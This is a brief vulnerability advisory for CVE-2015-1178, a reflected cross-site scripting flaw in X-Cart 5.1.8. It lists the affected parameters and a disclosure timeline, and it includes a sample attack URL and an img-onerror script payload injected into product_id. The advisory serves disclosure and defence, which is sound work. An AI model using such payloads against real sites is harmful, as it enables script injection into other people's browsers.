CVE-2015-1178-xss-x-cart-ecommerce


Information
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Advisory by Octogence.
Name: Reflected XSS Vulnerability in X-CART e-Commerce software
Affected Software : X-Cart
Affected Versions: 5.1.8 and possibly below
Vendor Homepage : https://www.x-cart.com
Vulnerability Type : Cross-site Scripting
Severity : High
CVE ID: CVE-2015-1178

Impact
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An attacker can craft a URL with malicious JavaScript code which
executes in the browser.

Technical Details
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Sample URL:

http://localhost/xcart/cart.php?target=product&product_id=4096cce–%3E%3Cimg%20src%3da%20onerror%3dalert%281%29%3Ebd85f&category_id=1

Parameters:
product_id
category_id

Sample Payload:
<img src=a onerror=alert(1)>

For more information on cross-site scripting vulnerabilities read the
following article:

https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

Advisory Timeline (mm/dd/yyyy)
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11/19/2014 – Reported
12/04/2014 – Vulnerability Fixed
01/22/2015 – Advisory Released


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Octogence Tech Solutions
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